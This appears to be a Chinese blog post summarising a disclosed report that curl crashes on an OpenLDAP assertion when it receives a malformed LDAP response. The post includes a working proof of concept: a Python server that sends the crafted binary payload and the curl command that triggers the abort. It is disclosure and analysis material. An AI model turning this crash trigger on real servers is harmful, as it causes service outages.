curl LDAP协议处理漏洞导致断言崩溃分析

本文详细分析了curl在处理恶意LDAP URL时出现的断言崩溃漏洞,包含复现步骤、影响分析和OpenLDAP根本原因定位,涉及网络协议安全和库依赖问题。

curl ASSERTs when accessing an LDAP URL

摘要

curl在访问LDAP URL时可能因断言失败而崩溃。该问题源于OpenLDAP库在处理畸形LDAP响应时的断言检查,可通过特定二进制响应触发。

复现步骤

1. 运行Python服务器脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
"""
Simple socket server that sends a specific binary response on port 1388.
"""

import socket
import logging
import sys

# Set up logging
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
log = logging.getLogger(__name__)

# The binary response to send
BINARY_RESPONSE = b'0%1\x01\x00x\x00\r\x00\x00\x00\x00\x00\x8a\x00\r\x00\x06\x00\r\x00\x00\x00\r\x00\x00\x00\x00\xc7\xc7\xc7\x9b\x80\xeb\x05123456\x00\x03\x00\x00\x00\tcn=d\x00\x10man'

PORT = 1388

def handle_client(client_socket, client_address):
    """Handle a single client connection."""
    try:
        log.info(f"Client connected from {client_address}")

        # Send the binary response
        client_socket.send(BINARY_RESPONSE)
        log.info(f"Sent {len(BINARY_RESPONSE)} bytes to {client_address}")

    except Exception as e:
        log.error(f"Error handling client {client_address}: {e}")
    finally:
        # Close the client socket
        client_socket.close()
        log.info(f"Connection closed for {client_address}")

def run_server():
    """Run the socket server."""
    # Create a socket
    server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    # Allow socket reuse
    server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

    try:
        # Bind to the port
        server_socket.bind(('localhost', PORT))
        server_socket.listen(5)

        log.info(f"Server listening on port {PORT}")
        log.info("Press Ctrl+C to stop the server")

        while True:
            try:
                # Accept a client connection
                client_socket, client_address = server_socket.accept()

                # Handle the client in the same thread (simple approach)
                handle_client(client_socket, client_address)

            except KeyboardInterrupt:
                log.info("Server shutdown requested")
                break
            except Exception as e:
                log.error(f"Error accepting connection: {e}")

    except Exception as e:
        log.error(f"Error starting server: {e}")
        sys.exit(1)
    finally:
        server_socket.close()
        log.info("Server socket closed")

if __name__ == "__main__":
    run_server()

2. 执行curl命令

1
curl ldap://localhost:1388

3. 预期输出

1
2
curl: result.c:930: try_read1msg: Assertion `!BER_BVISEMPTY( &resoid )' failed.
Aborted (core dumped)

影响分析

如果curl在服务器上使用,且攻击者能够影响传递给curl的URL(该URL可使用LDAP协议),服务器将崩溃,可能导致服务中断。

技术细节

  • 断言失败发生在OpenLDAP库的result.c文件中(第930行)
  • 涉及Basic Encoding Rules (BER) - LDAP协议使用的ASN.1数据编码格式
  • 问题在调试构建中出现,但在Ubuntu发行版中也能复现

解决方案讨论

  • OpenLDAP团队确认为非安全问题,可通过NDEBUG编译选项消除断言
  • curl团队建议向OpenLDAP提交问题报告
  • 最终确认为OpenLDAP库问题,已提交官方bug报告(ID: 10370)

时间线

  • 2025年7月17日:问题报告提交
  • 2025年7月22日:报告公开披露
  • 2025年7月23日:向OpenLDAP提交官方bug报告

状态:已确认为OpenLDAP库问题,非curl安全漏洞

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计